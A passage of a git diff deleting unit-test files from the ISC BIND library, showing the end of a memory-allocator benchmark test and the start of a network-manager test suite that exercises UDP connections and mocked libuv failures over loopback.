-	assert_int_equal(result, ISC_R_EOF);
-	isc_stdio_close(f);
-	isc_file_remove("mem.output");
-
-	/* return stderr to TTY so we can see errors */
-	f = freopen("/dev/tty", "w", stderr);
-
-	buf[sizeof(buf) - 1] = 0;
-
-	assert_memory_equal(buf, "add ", 4);
-	p = strchr(buf, '\n');
-	assert_non_null(p);
-	p = strchr(p + 1, '\n');
-	assert_non_null(p);
-	assert_in_range(p, 0, buf + sizeof(buf) - 3);
-	assert_memory_equal(p + 2, "ptr ", 4);
-	p = strchr(p + 1, '\n');
-	assert_non_null(p);
-	assert_memory_equal(p + 1, "del ", 4);
-
-	isc_mem_debugging = ISC_MEM_DEBUGRECORD;
-}
-#endif /* if ISC_MEM_TRACKLINES */
-
-#if !defined(__SANITIZE_THREAD__)
-
-#define ITERS	  512
-#define NUM_ITEMS 1024 /* 768 */
-#define ITEM_SIZE 65534
-
-static atomic_size_t mem_size;
-
-static isc_threadresult_t
-mem_thread(isc_threadarg_t arg) {
-	isc_mem_t *mctx = (isc_mem_t *)arg;
-	void *items[NUM_ITEMS];
-	size_t size = atomic_load(&mem_size);
-	while (!atomic_compare_exchange_weak(&mem_size, &size, size / 2))
-		;
-
-	for (int i = 0; i < ITERS; i++) {
-		for (int j = 0; j < NUM_ITEMS; j++) {
-			items[j] = isc_mem_get(mctx, size);
-		}
-		for (int j = 0; j < NUM_ITEMS; j++) {
-			isc_mem_put(mctx, items[j], size);
-		}
-	}
-
-	return ((isc_threadresult_t)0);
-}
-
-static void
-isc_mem_benchmark(void **state) {
-	int nthreads = ISC_MAX(ISC_MIN(isc_os_ncpus(), 32), 1);
-	isc_thread_t threads[32];
-	isc_time_t ts1, ts2;
-	double t;
-	isc_result_t result;
-
-	UNUSED(state);
-
-	atomic_init(&mem_size, ITEM_SIZE);
-
-	result = isc_time_now(&ts1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	for (int i = 0; i < nthreads; i++) {
-		isc_thread_create(mem_thread, test_mctx, &threads[i]);
-	}
-	for (int i = 0; i < nthreads; i++) {
-		isc_thread_join(threads[i], NULL);
-	}
-
-	result = isc_time_now(&ts2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	t = isc_time_microdiff(&ts2, &ts1);
-
-	printf("[ TIME     ] isc_mem_benchmark: "
-	       "%d isc_mem_{get,put} calls, %f seconds, %f calls/second\n",
-	       nthreads * ITERS * NUM_ITEMS, t / 1000000.0,
-	       (nthreads * ITERS * NUM_ITEMS) / (t / 1000000.0));
-}
-
-static isc_threadresult_t
-mempool_thread(isc_threadarg_t arg) {
-	isc_mempool_t *mp = (isc_mempool_t *)arg;
-	void *items[NUM_ITEMS];
-
-	for (int i = 0; i < ITERS; i++) {
-		for (int j = 0; j < NUM_ITEMS; j++) {
-			items[j] = isc_mempool_get(mp);
-		}
-		for (int j = 0; j < NUM_ITEMS; j++) {
-			isc_mempool_put(mp, items[j]);
-		}
-	}
-
-	return ((isc_threadresult_t)0);
-}
-
-static void
-isc_mempool_benchmark(void **state) {
-	int nthreads = ISC_MAX(ISC_MIN(isc_os_ncpus(), 32), 1);
-	isc_thread_t threads[32];
-	isc_time_t ts1, ts2;
-	double t;
-	isc_result_t result;
-	isc_mempool_t *mp = NULL;
-	isc_mutex_t mplock;
-
-	isc_mutex_init(&mplock);
-
-	isc_mempool_create(test_mctx, ITEM_SIZE, &mp);
-
-	isc_mempool_associatelock(mp, &mplock);
-
-	isc_mempool_setfreemax(mp, 32768);
-	isc_mempool_setfillcount(mp, ISC_MAX(NUM_ITEMS / nthreads, 1));
-
-	UNUSED(state);
-
-	result = isc_time_now(&ts1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	for (int i = 0; i < nthreads; i++) {
-		isc_thread_create(mempool_thread, mp, &threads[i]);
-	}
-	for (int i = 0; i < nthreads; i++) {
-		isc_thread_join(threads[i], NULL);
-	}
-
-	result = isc_time_now(&ts2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	t = isc_time_microdiff(&ts2, &ts1);
-
-	printf("[ TIME     ] isc_mempool_benchmark: "
-	       "%d isc_mempool_{get,put} calls, %f seconds, %f calls/second\n",
-	       nthreads * ITERS * NUM_ITEMS, t / 1000000.0,
-	       (nthreads * ITERS * NUM_ITEMS) / (t / 1000000.0));
-
-	isc_mempool_destroy(&mp);
-	isc_mutex_destroy(&mplock);
-}
-
-#endif /* __SANITIZE_THREAD */
-
-/*
- * Main
- */
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(isc_mem_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(isc_mem_total_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(isc_mem_inuse_test, _setup,
-						_teardown),
-
-#if !defined(__SANITIZE_THREAD__)
-		cmocka_unit_test_setup_teardown(isc_mem_benchmark, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(isc_mempool_benchmark, _setup,
-						_teardown),
-#endif /* __SANITIZE_THREAD__ */
-#if ISC_MEM_TRACKLINES
-		cmocka_unit_test_setup_teardown(isc_mem_noflags_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(isc_mem_recordflag_test, _setup,
-						_teardown),
-		/*
-		 * traceflag_test closes stderr, which causes weird
-		 * side effects for any next test trying to use libuv.
-		 * This test has to be the last one to avoid problems.
-		 */
-		cmocka_unit_test_setup_teardown(isc_mem_traceflag_test, _setup,
-						_teardown),
-#endif /* if ISC_MEM_TRACKLINES */
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/isc/tests/netmgr_test.c b/lib/isc/tests/netmgr_test.c
deleted file mode 100644
index 507c3a8a6e..0000000000
--- a/lib/isc/tests/netmgr_test.c
+++ /dev/null
@@ -1,2924 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <signal.h>
-#include <stdarg.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <uv.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/hp.h>
-#include <isc/nonce.h>
-#include <isc/os.h>
-#include <isc/quota.h>
-#include <isc/refcount.h>
-#include <isc/sockaddr.h>
-#include <isc/thread.h>
-#include <isc/util.h>
-
-#include "uv_wrap.h"
-#define KEEP_BEFORE
-
-#include "../netmgr/netmgr-int.h"
-#include "../netmgr/udp.c"
-#include "../netmgr/uv-compat.c"
-#include "../netmgr/uv-compat.h"
-#include "../netmgr_p.h"
-#include "isctest.h"
-
-typedef void (*stream_connect_function)(isc_nm_t *nm);
-
-static void
-connect_connect_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg);
-static void
-connect_read_cb(isc_nmhandle_t *handle, isc_result_t eresult,
-		isc_region_t *region, void *cbarg);
-
-isc_nm_t *listen_nm = NULL;
-isc_nm_t *connect_nm = NULL;
-
-static isc_sockaddr_t udp_listen_addr;
-static isc_sockaddr_t udp_connect_addr;
-
-static isc_sockaddr_t tcp_listen_addr;
-static isc_sockaddr_t tcp_connect_addr;
-static isc_tlsctx_t *tcp_listen_tlsctx = NULL;
-static isc_tlsctx_t *tcp_connect_tlsctx = NULL;
-
-static uint64_t send_magic = 0;
-static uint64_t stop_magic = 0;
-
-static uv_buf_t send_msg = { .base = (char *)&send_magic,
-			     .len = sizeof(send_magic) };
-
-static uv_buf_t stop_msg = { .base = (char *)&stop_magic,
-			     .len = sizeof(stop_magic) };
-
-static atomic_bool do_send = ATOMIC_VAR_INIT(false);
-static unsigned int workers = 0;
-
-static atomic_int_fast64_t nsends;
-static int_fast64_t esends; /* expected sends */
-
-static atomic_int_fast64_t ssends = ATOMIC_VAR_INIT(0);
-static atomic_int_fast64_t sreads = ATOMIC_VAR_INIT(0);
-static atomic_int_fast64_t saccepts = ATOMIC_VAR_INIT(0);
-
-static atomic_int_fast64_t cconnects = ATOMIC_VAR_INIT(0);
-static atomic_int_fast64_t csends = ATOMIC_VAR_INIT(0);
-static atomic_int_fast64_t creads = ATOMIC_VAR_INIT(0);
-static atomic_int_fast64_t ctimeouts = ATOMIC_VAR_INIT(0);
-
-static isc_refcount_t active_cconnects;
-static isc_refcount_t active_csends;
-static isc_refcount_t active_creads;
-static isc_refcount_t active_ssends;
-static isc_refcount_t active_sreads;
-
-static isc_quota_t listener_quota;
-static atomic_bool check_listener_quota;
-
-static bool skip_long_tests = false;
-
-static bool allow_send_back = false;
-static bool noanswer = false;
-static bool stream_use_TLS = false;
-
-static isc_nm_recv_cb_t connect_readcb = NULL;
-
-#define SKIP_IN_CI             \
-	if (skip_long_tests) { \
-		skip();        \
-		return;        \
-	}
-
-#define NSENDS 100
-
-/* Timeout for soft-timeout tests (0.05 seconds) */
-#define T_SOFT 50
-
-/* Timeouts in miliseconds */
-#define T_INIT	     120 * 1000
-#define T_IDLE	     120 * 1000
-#define T_KEEPALIVE  120 * 1000
-#define T_ADVERTISED 120 * 1000
-#define T_CONNECT    30 * 1000
-
-/* Wait for 1 second (1000 * 1000 microseconds) */
-#define WAIT_REPEATS 1000
-#define T_WAIT	     1000 /* In microseconds */
-
-#define WAIT_FOR(v, op, val)                                \
-	{                                                   \
-		X(v);                                       \
-		int_fast64_t __r = WAIT_REPEATS;            \
-		int_fast64_t __o = 0;                       \
-		do {                                        \
-			int_fast64_t __l = atomic_load(&v); \
-			if (__l op val) {                   \
-				break;                      \
-			};                                  \
-			if (__o == __l) {                   \
-				__r--;                      \
-			} else {                            \
-				__r = WAIT_REPEATS;         \
-			}                                   \
-			__o = __l;                          \
-			isc_test_nap(T_WAIT);               \
-		} while (__r > 0);                          \
-		X(v);                                       \
-		P(__r);                                     \
-		assert_true(atomic_load(&v) op val);        \
-	}
-
-#define WAIT_FOR_EQ(v, val) WAIT_FOR(v, ==, val)
-#define WAIT_FOR_NE(v, val) WAIT_FOR(v, !=, val)
-#define WAIT_FOR_LE(v, val) WAIT_FOR(v, <=, val)
-#define WAIT_FOR_LT(v, val) WAIT_FOR(v, <, val)
-#define WAIT_FOR_GE(v, val) WAIT_FOR(v, >=, val)
-#define WAIT_FOR_GT(v, val) WAIT_FOR(v, >, val)
-
-#define DONE() atomic_store(&do_send, false);
-
-#define CHECK_RANGE_FULL(v)                \
-	{                                  \
-		int __v = atomic_load(&v); \
-		assert_true(__v > 1);      \
-	}
-
-#define CHECK_RANGE_HALF(v)                \
-	{                                  \
-		int __v = atomic_load(&v); \
-		assert_true(__v > 1);      \
-	}
-
-/* Enable this to print values while running tests */
-#undef PRINT_DEBUG
-#ifdef PRINT_DEBUG
-#define X(v)                                                               \
-	fprintf(stderr, "%s:%s:%d:%s = %" PRId64 "\n", __func__, __FILE__, \
-		__LINE__, #v, atomic_load(&v))
-#define P(v) fprintf(stderr, #v " = %" PRId64 "\n", v)
-#define F()                                                   \
-	fprintf(stderr, "%s(%p, %s, %p)\n", __func__, handle, \
-		isc_result_totext(eresult), cbarg)
-#else
-#define X(v)
-#define P(v)
-#define F()
-#endif
-
-#define atomic_assert_int_eq(val, exp) assert_int_equal(atomic_load(&val), exp)
-#define atomic_assert_int_ne(val, exp) \
-	assert_int_not_equal(atomic_load(&val), exp)
-#define atomic_assert_int_le(val, exp) assert_true(atomic_load(&val) <= exp)
-#define atomic_assert_int_lt(val, exp) assert_true(atomic_load(&val) > exp)
-#define atomic_assert_int_ge(val, exp) assert_true(atomic_load(&val) >= exp)
-#define atomic_assert_int_gt(val, exp) assert_true(atomic_load(&val) > exp)
-
-static int
-_setup(void **state __attribute__((unused))) {
-	char *p = NULL;
-
-	if (workers == 0) {
-		workers = isc_os_ncpus();
-	}
-	p = getenv("ISC_TASK_WORKERS");
-	if (p != NULL) {
-		workers = atoi(p);
-	}
-	INSIST(workers != 0);
-
-	if (isc_test_begin(NULL, false, workers) != ISC_R_SUCCESS) {
-		return (-1);
-	}
-
-	isc_hp_init(4 * workers);
-
-	signal(SIGPIPE, SIG_IGN);
-
-	if (getenv("CI") == NULL || getenv("CI_ENABLE_ALL_TESTS") != NULL) {
-		esends = NSENDS * workers;
-	} else {
-		esends = workers;
-		skip_long_tests = true;
-	}
-
-	if (isc_tlsctx_createserver(NULL, NULL, &tcp_listen_tlsctx) !=
-	    ISC_R_SUCCESS) {
-		return (-1);
-	}
-	if (isc_tlsctx_createclient(&tcp_connect_tlsctx) != ISC_R_SUCCESS) {
-		return (-1);
-	}
-
-	return (0);
-}
-
-static int
-_teardown(void **state __attribute__((unused))) {
-	isc_tlsctx_free(&tcp_connect_tlsctx);
-	isc_tlsctx_free(&tcp_listen_tlsctx);
-
-	isc_test_end();
-
-	return (0);
-}
-
-static int
-setup_ephemeral_port(isc_sockaddr_t *addr, sa_family_t family) {
-	socklen_t addrlen = sizeof(*addr);
-	uv_os_sock_t fd;
-	int r;
-
-	isc_sockaddr_fromin6(addr, &in6addr_loopback, 0);
-
-	fd = socket(AF_INET6, family, 0);
-	if (fd < 0) {
-		perror("setup_ephemeral_port: socket()");
-		return (-1);
-	}
-
-	r = bind(fd, (const struct sockaddr *)&addr->type.sa,
-		 sizeof(addr->type.sin6));
-	if (r != 0) {
-		perror("setup_ephemeral_port: bind()");
-		isc__nm_closesocket(fd);
-		return (r);
-	}
-
-	r = getsockname(fd, (struct sockaddr *)&addr->type.sa, &addrlen);
-	if (r != 0) {
-		perror("setup_ephemeral_port: getsockname()");
-		isc__nm_closesocket(fd);
-		return (r);
-	}
-
-#if IPV6_RECVERR
-#define setsockopt_on(socket, level, name) \
-	setsockopt(socket, level, name, &(int){ 1 }, sizeof(int))
-
-	r = setsockopt_on(fd, IPPROTO_IPV6, IPV6_RECVERR);
-	if (r != 0) {
-		perror("setup_ephemeral_port");
-		isc__nm_closesocket(fd);
-		return (r);
-	}
-#endif
-
-	return (fd);
-}
-
-static int
-nm_setup(void **state __attribute__((unused))) {
-	uv_os_sock_t tcp_listen_sock = -1;
-	uv_os_sock_t udp_listen_sock = -1;
-
-	udp_connect_addr = (isc_sockaddr_t){ .length = 0 };
-	isc_sockaddr_fromin6(&udp_connect_addr, &in6addr_loopback, 0);
-
-	udp_listen_addr = (isc_sockaddr_t){ .length = 0 };
-	udp_listen_sock = setup_ephemeral_port(&udp_listen_addr, SOCK_DGRAM);
-	if (udp_listen_sock < 0) {
-		return (-1);
-	}
-	isc__nm_closesocket(udp_listen_sock);
-	udp_listen_sock = -1;
-
-	tcp_connect_addr = (isc_sockaddr_t){ .length = 0 };
-	isc_sockaddr_fromin6(&tcp_connect_addr, &in6addr_loopback, 0);
-
-	tcp_listen_addr = (isc_sockaddr_t){ .length = 0 };
-	tcp_listen_sock = setup_ephemeral_port(&tcp_listen_addr, SOCK_STREAM);
-	if (tcp_listen_sock < 0) {
-		return (-1);
-	}
-	isc__nm_closesocket(tcp_listen_sock);
-	tcp_listen_sock = -1;
-
-	atomic_store(&do_send, true);
-	atomic_store(&nsends, esends);
-
-	atomic_store(&saccepts, 0);
-	atomic_store(&sreads, 0);
-	atomic_store(&ssends, 0);
-
-	atomic_store(&cconnects, 0);
-	atomic_store(&csends, 0);
-	atomic_store(&creads, 0);
-	atomic_store(&ctimeouts, 0);
-	allow_send_back = false;
-	stream_use_TLS = false;
-
-	isc_refcount_init(&active_cconnects, 0);
-	isc_refcount_init(&active_csends, 0);
-	isc_refcount_init(&active_creads, 0);
-	isc_refcount_init(&active_ssends, 0);
-	isc_refcount_init(&active_sreads, 0);
-
-	isc_nonce_buf(&send_magic, sizeof(send_magic));
-	isc_nonce_buf(&stop_magic, sizeof(stop_magic));
-	if (send_magic == stop_magic) {
-		return (-1);
-	}
-
-	isc__netmgr_create(test_mctx, workers, &listen_nm);
-	assert_non_null(listen_nm);
-	isc_nm_settimeouts(listen_nm, T_INIT, T_IDLE, T_KEEPALIVE,
-			   T_ADVERTISED);
-
-	isc__netmgr_create(test_mctx, workers, &connect_nm);
-	assert_non_null(connect_nm);
-	isc_nm_settimeouts(connect_nm, T_INIT, T_IDLE, T_KEEPALIVE,
-			   T_ADVERTISED);
-
-	isc_quota_init(&listener_quota, 0);
-	atomic_store(&check_listener_quota, false);
-
-	connect_readcb = connect_read_cb;
-	noanswer = false;
-
-	return (0);
-}
-
-static int
-nm_teardown(void **state __attribute__((unused))) {
-	UNUSED(state);
-
-	isc__netmgr_destroy(&connect_nm);
-	assert_null(connect_nm);
-
-	isc__netmgr_destroy(&listen_nm);
-	assert_null(listen_nm);
-
-	WAIT_FOR_EQ(active_cconnects, 0);
-	WAIT_FOR_EQ(active_csends, 0);
-	WAIT_FOR_EQ(active_csends, 0);
-	WAIT_FOR_EQ(active_ssends, 0);
-	WAIT_FOR_EQ(active_sreads, 0);
-
-	isc_refcount_destroy(&active_cconnects);
-	isc_refcount_destroy(&active_csends);
-	isc_refcount_destroy(&active_creads);
-	isc_refcount_destroy(&active_ssends);
-	isc_refcount_destroy(&active_sreads);
-
-	return (0);
-}
-
-/* Callbacks */
-
-static void
-noop_recv_cb(isc_nmhandle_t *handle, isc_result_t eresult, isc_region_t *region,
-	     void *cbarg) {
-	UNUSED(handle);
-	UNUSED(eresult);
-	UNUSED(region);
-	UNUSED(cbarg);
-}
-
-static unsigned int
-noop_accept_cb(isc_nmhandle_t *handle, unsigned int result, void *cbarg) {
-	UNUSED(handle);
-	UNUSED(result);
-	UNUSED(cbarg);
-
-	return (0);
-}
-
-static void
-connect_send_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg);
-
-static void
-connect_send(isc_nmhandle_t *handle);
-
-static void
-connect_send_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg) {
-	isc_nmhandle_t *sendhandle = handle;
-
-	assert_non_null(sendhandle);
-
-	UNUSED(cbarg);
-
-	F();
-
-	if (eresult != ISC_R_SUCCESS) {
-		/* Send failed, we need to stop reading too */
-		isc_nm_cancelread(handle);
-		goto unref;
-	}
-
-	atomic_fetch_add(&csends, 1);
-unref:
-	isc_refcount_decrement(&active_csends);
-	isc_nmhandle_detach(&sendhandle);
-}
-
-static void
-connect_send(isc_nmhandle_t *handle) {
-	isc_nmhandle_t *sendhandle = NULL;
-	isc_refcount_increment0(&active_csends);
-	isc_nmhandle_attach(handle, &sendhandle);
-	if (atomic_fetch_sub(&nsends, 1) > 1) {
-		isc_nm_send(sendhandle, (isc_region_t *)&send_msg,
-			    connect_send_cb, NULL);
-	} else {
-		isc_nm_send(sendhandle, (isc_region_t *)&stop_msg,
-			    connect_send_cb, NULL);
-	}
-}
-
-static void
-connect_read_cb(isc_nmhandle_t *handle, isc_result_t eresult,
-		isc_region_t *region, void *cbarg) {
-	uint64_t magic = 0;
-
-	UNUSED(cbarg);
-
-	assert_non_null(handle);
-
-	F();
-
-	if (eresult != ISC_R_SUCCESS) {
-		goto unref;
-	}
-
-	assert_true(region->length >= sizeof(magic));
-
-	atomic_fetch_add(&creads, 1);
-
-	memmove(&magic, region->base, sizeof(magic));
-
-	assert_true(magic == stop_magic || magic == send_magic);
-
-	if (magic == send_magic && allow_send_back) {
-		connect_send(handle);
-		return;
-	}
-
-unref:
-	isc_refcount_decrement(&active_creads);
-	isc_nmhandle_detach(&handle);
-}
-
-static void
-connect_connect_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg) {
-	isc_nmhandle_t *readhandle = NULL;
-
-	UNUSED(cbarg);
-
-	F();
-
-	isc_refcount_decrement(&active_cconnects);
-
-	if (eresult != ISC_R_SUCCESS || connect_readcb == NULL) {
-		return;
-	}
-
-	atomic_fetch_add(&cconnects, 1);
-
-	isc_refcount_increment0(&active_creads);
-	isc_nmhandle_attach(handle, &readhandle);
-	isc_nm_read(handle, connect_readcb, NULL);
-
-	connect_send(handle);
-}
-
-static void
-listen_send_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg) {
-	isc_nmhandle_t *sendhandle = handle;
-
-	UNUSED(cbarg);
-	UNUSED(eresult);
-
-	assert_non_null(sendhandle);
-
-	F();
-
-	if (eresult != ISC_R_SUCCESS) {
-		goto unref;
-	}
-
-	atomic_fetch_add(&ssends, 1);
-unref:
-	isc_nmhandle_detach(&sendhandle);
-	isc_refcount_decrement(&active_ssends);
-}
-
-static void
-listen_read_cb(isc_nmhandle_t *handle, isc_result_t eresult,
-	       isc_region_t *region, void *cbarg) {
-	uint64_t magic = 0;
-
-	assert_non_null(handle);
-
-	F();
-
-	if (eresult != ISC_R_SUCCESS) {
-		goto unref;
-	}
-
-	atomic_fetch_add(&sreads, 1);
-
-	assert_true(region->length >= sizeof(magic));
-
-	memmove(&magic, region->base, sizeof(magic));
-	assert_true(magic == stop_magic || magic == send_magic);
-
-	if (magic == send_magic) {
-		if (!noanswer) {
-			isc_nmhandle_t *sendhandle = NULL;
-			isc_nmhandle_attach(handle, &sendhandle);
-			isc_refcount_increment0(&active_ssends);
-			isc_nm_send(sendhandle, (isc_region_t *)&send_msg,
-				    listen_send_cb, cbarg);
-		}
-		return;
-	}
-
-unref:
-	if (handle == cbarg) {
-		isc_refcount_decrement(&active_sreads);
-		isc_nmhandle_detach(&handle);
-	}
-}
-
-static isc_result_t
-listen_accept_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg) {
-	UNUSED(handle);
-	UNUSED(cbarg);
-
-	F();
-
-	return (eresult);
-}
-
-static isc_result_t
-stream_accept_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg) {
-	isc_nmhandle_t *readhandle = NULL;
-
-	UNUSED(cbarg);
-
-	F();
-
-	if (eresult != ISC_R_SUCCESS) {
-		return (eresult);
-	}
-
-	atomic_fetch_add(&saccepts, 1);
-
-	isc_refcount_increment0(&active_sreads);
-	isc_nmhandle_attach(handle, &readhandle);
-	isc_nm_read(handle, listen_read_cb, readhandle);
-
-	return (ISC_R_SUCCESS);
-}
-
-typedef void (*connect_func)(isc_nm_t *);
-
-static isc_threadresult_t
-connect_thread(isc_threadarg_t arg) {
-	connect_func connect = (connect_func)arg;
-	isc_sockaddr_t connect_addr;
-
-	connect_addr = (isc_sockaddr_t){ .length = 0 };
-	isc_sockaddr_fromin6(&connect_addr, &in6addr_loopback, 0);
-
-	while (atomic_load(&do_send)) {
-		uint_fast32_t active =
-			isc_refcount_increment0(&active_cconnects);
-		if (active > workers) {
-			/*
-			 * If we have more active connections than workers,
-			 * start slowing down the connections to prevent the
-			 * thundering herd problem.
-			 */
-			isc_test_nap((active - workers) * 1000);
-		}
-		connect(connect_nm);
-	}
-
-	return ((isc_threadresult_t)0);
-}
-
-/* UDP */
-
-static void
-udp_connect(isc_nm_t *nm) {
-	isc_nm_udpconnect(nm, &udp_connect_addr, &udp_listen_addr,
-			  connect_connect_cb, NULL, T_CONNECT, 0);
-}
-
-static void
-mock_listenudp_uv_udp_open(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-
-	WILL_RETURN(uv_udp_open, UV_ENOMEM);
-
-	result = isc_nm_listenudp(listen_nm, &udp_listen_addr, noop_recv_cb,
-				  NULL, 0, &listen_sock);
-	assert_int_not_equal(result, ISC_R_SUCCESS);
-	assert_null(listen_sock);
-
-	RESET_RETURN;
-}
-
-static void
-mock_listenudp_uv_udp_bind(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-
-	WILL_RETURN(uv_udp_bind, UV_EADDRINUSE);
-
-	result = isc_nm_listenudp(listen_nm, &udp_listen_addr, noop_recv_cb,
-				  NULL, 0, &listen_sock);
-	assert_int_not_equal(result, ISC_R_SUCCESS);
-	assert_null(listen_sock);
-
-	RESET_RETURN;
-}
-
-static void
-mock_listenudp_uv_udp_recv_start(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-
-	WILL_RETURN(uv_udp_recv_start, UV_EADDRINUSE);
-
-	result = isc_nm_listenudp(listen_nm, &udp_listen_addr, noop_recv_cb,
-				  NULL, 0, &listen_sock);
-	assert_int_not_equal(result, ISC_R_SUCCESS);
-	assert_null(listen_sock);
-
-	RESET_RETURN;
-}
-
-static void
-mock_udpconnect_uv_udp_open(void **state __attribute__((unused))) {
-	WILL_RETURN(uv_udp_open, UV_ENOMEM);
-
-	connect_readcb = NULL;
-	isc_refcount_increment0(&active_cconnects);
-	isc_nm_udpconnect(connect_nm, &udp_connect_addr, &udp_listen_addr,
-			  connect_connect_cb, NULL, T_CONNECT, 0);
-	isc__netmgr_shutdown(connect_nm);
-
-	RESET_RETURN;
-}
-
-static void
-mock_udpconnect_uv_udp_bind(void **state __attribute__((unused))) {
-	WILL_RETURN(uv_udp_bind, UV_ENOMEM);
-
-	connect_readcb = NULL;
-	isc_refcount_increment0(&active_cconnects);
-	isc_nm_udpconnect(connect_nm, &udp_connect_addr, &udp_listen_addr,
-			  connect_connect_cb, NULL, T_CONNECT, 0);
-	isc__netmgr_shutdown(connect_nm);
-
-	RESET_RETURN;
-}
-
-#if UV_VERSION_HEX >= UV_VERSION(1, 27, 0)
-static void
-mock_udpconnect_uv_udp_connect(void **state __attribute__((unused))) {
-	WILL_RETURN(uv_udp_connect, UV_ENOMEM);
-
-	connect_readcb = NULL;
-	isc_refcount_increment0(&active_cconnects);
-	isc_nm_udpconnect(connect_nm, &udp_connect_addr, &udp_listen_addr,
-			  connect_connect_cb, NULL, T_CONNECT, 0);
-	isc__netmgr_shutdown(connect_nm);
-
-	RESET_RETURN;
-}
-#endif
-
-static void
-mock_udpconnect_uv_recv_buffer_size(void **state __attribute__((unused))) {
-	WILL_RETURN(uv_recv_buffer_size, UV_ENOMEM);
-
-	connect_readcb = NULL;
-	isc_refcount_increment0(&active_cconnects);
-	isc_nm_udpconnect(connect_nm, &udp_connect_addr, &udp_listen_addr,
-			  connect_connect_cb, NULL, T_CONNECT, 0);
-	isc__netmgr_shutdown(connect_nm);
-
-	RESET_RETURN;
-}
-
-static void
-mock_udpconnect_uv_send_buffer_size(void **state __attribute__((unused))) {
-	WILL_RETURN(uv_send_buffer_size, UV_ENOMEM);
-
-	connect_readcb = NULL;
-	isc_refcount_increment0(&active_cconnects);
-	isc_nm_udpconnect(connect_nm, &udp_connect_addr, &udp_listen_addr,
-			  connect_connect_cb, NULL, T_CONNECT, 0);
-	isc__netmgr_shutdown(connect_nm);
-
-	RESET_RETURN;
-}
-
-static void
-udp_noop(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-
-	result = isc_nm_listenudp(listen_nm, &udp_listen_addr, noop_recv_cb,
-				  NULL, 0, &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-
-	connect_readcb = NULL;
-	isc_refcount_increment0(&active_cconnects);
-	isc_nm_udpconnect(connect_nm, &udp_connect_addr, &udp_listen_addr,
-			  connect_connect_cb, NULL, T_CONNECT, 0);
-	isc__netmgr_shutdown(connect_nm);
-
-	atomic_assert_int_eq(cconnects, 0);
-	atomic_assert_int_eq(csends, 0);
-	atomic_assert_int_eq(creads, 0);
-	atomic_assert_int_eq(sreads, 0);
-	atomic_assert_int_eq(ssends, 0);
-}
-
-static void
-udp_noresponse(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-
-	result = isc_nm_listenudp(listen_nm, &udp_listen_addr, noop_recv_cb,
-				  NULL, 0, &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_refcount_increment0(&active_cconnects);
-	isc_nm_udpconnect(connect_nm, &udp_connect_addr, &udp_listen_addr,
-			  connect_connect_cb, NULL, T_CONNECT, 0);
-
-	WAIT_FOR_EQ(cconnects, 1);
-	WAIT_FOR_EQ(csends, 1);
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-	isc__netmgr_shutdown(connect_nm);
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	atomic_assert_int_eq(cconnects, 1);
-	atomic_assert_int_eq(csends, 1);
-	atomic_assert_int_eq(creads, 0);
-	atomic_assert_int_eq(sreads, 0);
-	atomic_assert_int_eq(ssends, 0);
-}
-
-static void
-timeout_retry_cb(isc_nmhandle_t *handle, isc_result_t eresult,
-		 isc_region_t *region, void *cbarg) {
-	UNUSED(region);
-	UNUSED(cbarg);
-
-	assert_non_null(handle);
-
-	F();
-
-	if (eresult == ISC_R_TIMEDOUT && atomic_load(&csends) < 5) {
-		isc_nmhandle_settimeout(handle, T_SOFT);
-		connect_send(handle);
-		return;
-	}
-
-	atomic_fetch_add(&ctimeouts, 1);
-
-	isc_refcount_decrement(&active_creads);
-	isc_nmhandle_detach(&handle);
-}
-
-static void
-udp_timeout_recovery(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-
-	SKIP_IN_CI;
-
-	/*
